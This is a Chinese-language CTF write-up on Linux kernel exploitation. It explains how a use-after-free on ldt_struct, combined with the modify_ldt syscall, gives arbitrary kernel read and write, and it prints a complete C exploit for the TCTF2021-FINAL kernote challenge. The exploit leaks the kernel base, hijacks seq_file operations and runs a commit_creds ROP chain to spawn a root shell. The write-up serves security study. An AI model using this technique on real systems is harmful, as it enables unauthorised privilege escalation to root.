利用ldt_struct 與 modify_ldt 系統呼叫實現任意地址讀寫

2022-09-14 21:00:32

利用ldt_struct 與 modify_ldt 系統呼叫實現任意地址讀寫

ldt_struct與modify_ldt系統呼叫的介紹

ldt_struct

ldt區域性段描述符表,裡面存放的是程序的段描述符,段暫存器裡存放的段選擇子便是段描述符表中段描述符的索引。和ldt有關的結構體是ldt_struct

struct ldt_struct {
    /*
     * Xen requires page-aligned LDTs with special permissions.  This is
     * needed to prevent us from installing evil descriptors such as
     * call gates.  On native, we could merge the ldt_struct and LDT
     * allocations, but it's not worth trying to optimize.
     */
    struct desc_struct    *entries;
    unsigned int        nr_entries;

    /*
     * If PTI is in use, then the entries array is not mapped while we're
     * in user mode.  The whole array will be aliased at the addressed
     * given by ldt_slot_va(slot).  We use two slots so that we can allocate
     * and map, and enable a new LDT without invalidating the mapping
     * of an older, still-in-use LDT.
     *
     * slot will be -1 if this LDT doesn't have an alias mapping.
     */
    int            slot;
};

這個結構體的大小僅有0x10,前8位元組存放的還是一個指標,如果能夠控制它,那麼便可以進行接下來的任意地址讀寫。前8位元組的entries指標指向desc_struct結構體,即段描述符,定義如下:

/* 8 byte segment descriptor */
struct desc_struct {
    u16    limit0;
    u16    base0;
    u16    base1: 8, type: 4, s: 1, dpl: 2, p: 1;
    u16    limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

modify_ldt系統呼叫

modify_ldt這個系統呼叫,是提供給我們用來獲取或修改當前程序的LDT用的。我們看呼叫modify_ldt的幾個用法,原始碼如下:

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
        unsigned long , bytecount)
{
    int ret = -ENOSYS;

    switch (func) {
    case 0:
        ret = read_ldt(ptr, bytecount);
        break;
    case 1:
        ret = write_ldt(ptr, bytecount, 1);
        break;
    case 2:
        ret = read_default_ldt(ptr, bytecount);
        break;
    case 0x11:
        ret = write_ldt(ptr, bytecount, 0);
        break;
    }
    /*
     * The SYSCALL_DEFINE() macros give us an 'unsigned long'
     * return type, but tht ABI for sys_modify_ldt() expects
     * 'int'.  This cast gives us an int-sized value in %rax
     * for the return code.  The 'unsigned' is necessary so
     * the compiler does not try to sign-extend the negative
     * return codes into the high half of the register when
     * taking the value from int->long.
     */
    return (unsigned int)ret;
}

我們除了系統呼叫號外傳入的三個引數是func,ptr,bytecount,其中ptr指標指向的是user_desc結構體。這個結構體如下:

struct user_desc {
    unsigned int  entry_number;
    unsigned int  base_addr;
    unsigned int  limit;
    unsigned int  seg_32bit:1;
    unsigned int  contents:2;
    unsigned int  read_exec_only:1;
    unsigned int  limit_in_pages:1;
    unsigned int  seg_not_present:1;
    unsigned int  useable:1;
};

任意地址讀

利用的函數是ldt_read,其關鍵原始碼如下:

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
    if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
        retval = -EFAULT;
        goto out_unlock;
    }
//...
out_unlock:
    up_read(&mm->context.ldt_usr_sem);
    return retval;
}

這個函數直接呼叫copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用戶空間讀取資料,如果我們可以控制entries,那麼我們就可以實現任意地址讀。

如何控制entries?我們看write_ldt的原始碼可以看到呼叫alloc_ldt_struct為新的ldt_struct開闢了空間。

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
    //...

    old_ldt       = mm->context.ldt;
    old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
    new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

    error = -ENOMEM;
    new_ldt = alloc_ldt_struct(new_nr_entries);
    if (!new_ldt)
        goto out_unlock;
    //...
    return error;
}

再看alloc_ldt_struct的原始碼,呼叫了kamlloc去分配新空間。

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
    struct ldt_struct *new_ldt;
    unsigned int alloc_size;

    if (num_entries > LDT_ENTRIES)
        return NULL;

    new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...

我們就可以想到通過UAF去控制ldt_struct,修改entries即可讀取想要的資料。

任意地址寫

利用的函數是write_ldt,其關鍵原始碼如下:

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
    //...

    old_ldt       = mm->context.ldt;
    old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
    new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

    error = -ENOMEM;
    new_ldt = alloc_ldt_struct(new_nr_entries);
    if (!new_ldt)
        goto out_unlock;

    if (old_ldt)
        memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

    new_ldt->entries[ldt_info.entry_number] = ldt;

    //...
}

我們可以看到拷貝是memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE),我們再看一下LDT_ENTRY_SIZE的定義

/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES    8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE    8

可以看出拷貝的量非常大。並且在拷貝結束之後有new_ldt->entries[ldt_info.entry_number] = ldt;這樣一行程式碼。那我們就可以通過條件競爭的方式去改變new_ldt->entries,從而實現任意地址寫。

例題:TCTF2021-FINAL-kernote

exp

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>


int fd;
size_t kernel_offset;
size_t kernel_base;
int seq_fd;
int ret;
size_t page_offset_base = 0xffff888000000000;
size_t init_cred;
size_t prepare_kernel_cred;
size_t commit_creds;
size_t pop_rdi_ret;
size_t swapgs_restore_regs_and_return_to_usermode;

void ErrExit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}

void set(int index)
{
    ioctl(fd, 0x6666, index);
}

void add(int index)
{
    ioctl(fd, 0x6667, index);
}

void delete(int index)
{
    ioctl(fd, 0x6668, index);
}

void edit(size_t data)
{
    ioctl(fd, 0x6669, data);
}

int main()
{
	struct user_desc desc;
	int pipe_fd[2] = {0};
	size_t temp;
	size_t *buf;
	size_t search_addr;
	
	printf("\033[34m\033[1m[*] Start exploit\033[0m\n");

	fd = open("/dev/kernote", O_RDWR);
	if(fd<0)
		ErrExit("[-] open kernote error");
	/*
	struct user_desc {
	unsigned int  entry_number;
	unsigned int  base_addr;
	unsigned int  limit;
	unsigned int  seg_32bit:1;
	unsigned int  contents:2;
	unsigned int  read_exec_only:1;
	unsigned int  limit_in_pages:1;
	unsigned int  seg_not_present:1;
	unsigned int  useable:1;
	};
	*/

	desc.entry_number = 0x8000 / 8;
	desc.base_addr = 0xff0000;
	desc.limit = 0;
	desc.seg_32bit = 0;
	desc.contents = 0;
	desc.read_exec_only = 0;
	desc.limit_in_pages = 0;
	desc.seg_not_present = 0;
	desc.useable = 0;
	desc.lm = 0;

	add(0);
	set(0);
	delete(0);
	
	syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
	while(1)
	{
		edit(page_offset_base);
		ret = syscall(SYS_modify_ldt, 0, &temp, 8);
		if(ret >= 0)
			break;
		page_offset_base+= 0x4000000;
	}
	printf("\033[32m\033[1m[+] Find page_offset_base=> \033[0m0x%lx\n", page_offset_base);
	
	pipe(pipe_fd);
	buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
	search_addr = page_offset_base;
	while(1)
	{
		edit(search_addr);
		ret = fork();
		if(!ret)
		{
			syscall(SYS_modify_ldt, 0, buf, 0x8000);
			for(int i=0; i<0x1000; i++)
				if(buf[i]>0xffffffff81000000 && (buf[i] & 0xfff) == 0x40)
				{
					kernel_base = buf[i] - 0x40;
					kernel_offset = kernel_base - 0xffffffff81000000;
				}
			
			write(pipe_fd[1], &kernel_base, 8);
			exit(0);
		}
		
		wait(NULL);
		read(pipe_fd[0], &kernel_base, 8);
		if(kernel_base)
			break;
		search_addr+= 0x8000;
	}

	kernel_offset = kernel_base - 0xffffffff81000000;
	printf("\033[32m\033[1m[+] Find kernel base=> \033[0m0x%lx\n", kernel_base);
	printf("\033[32m\033[1m[+] Kernel offset=> \033[0m0x%lx\n", kernel_offset);

	add(1);
	set(1);
	delete(1);
	
	seq_fd = open("/proc/self/stat", O_RDONLY);
	if(seq_fd<0)
		ErrExit("[-] open seq error");
	
	edit(0xffffffff817c21a6 + kernel_offset);

	init_cred = 0xffffffff8266b780 + kernel_offset;
	prepare_kernel_cred = 0xffffffff810ca2b0 + kernel_offset;
	commit_creds = 0xffffffff810c9dd0 + kernel_offset;
	pop_rdi_ret = 0xffffffff81075c4c + kernel_offset;
	swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10 + kernel_offset;

	__asm__(
	"mov r15,   0xbeefdead;"
	"mov r14,   0x11111111;"
	"mov r13,   pop_rdi_ret;" // start at there
	"mov r12,   init_cred;"
	"mov rbp,   commit_creds;"
	"mov rbx,   swapgs_restore_regs_and_return_to_usermode;"
	"mov r11,   0x66666666;"
	"mov r10,   0x77777777;"
	"mov r9,    0x88888888;"
	"mov r8,    0x99999999;"
	"xor rax,   rax;"
	"mov rcx,   0xaaaaaaaa;"
	"mov rdx,   8;"
	"mov rsi,   rsp;"
	"mov rdi,   seq_fd;"
	"syscall"
	);

	system("/bin/sh");
	return 0;
}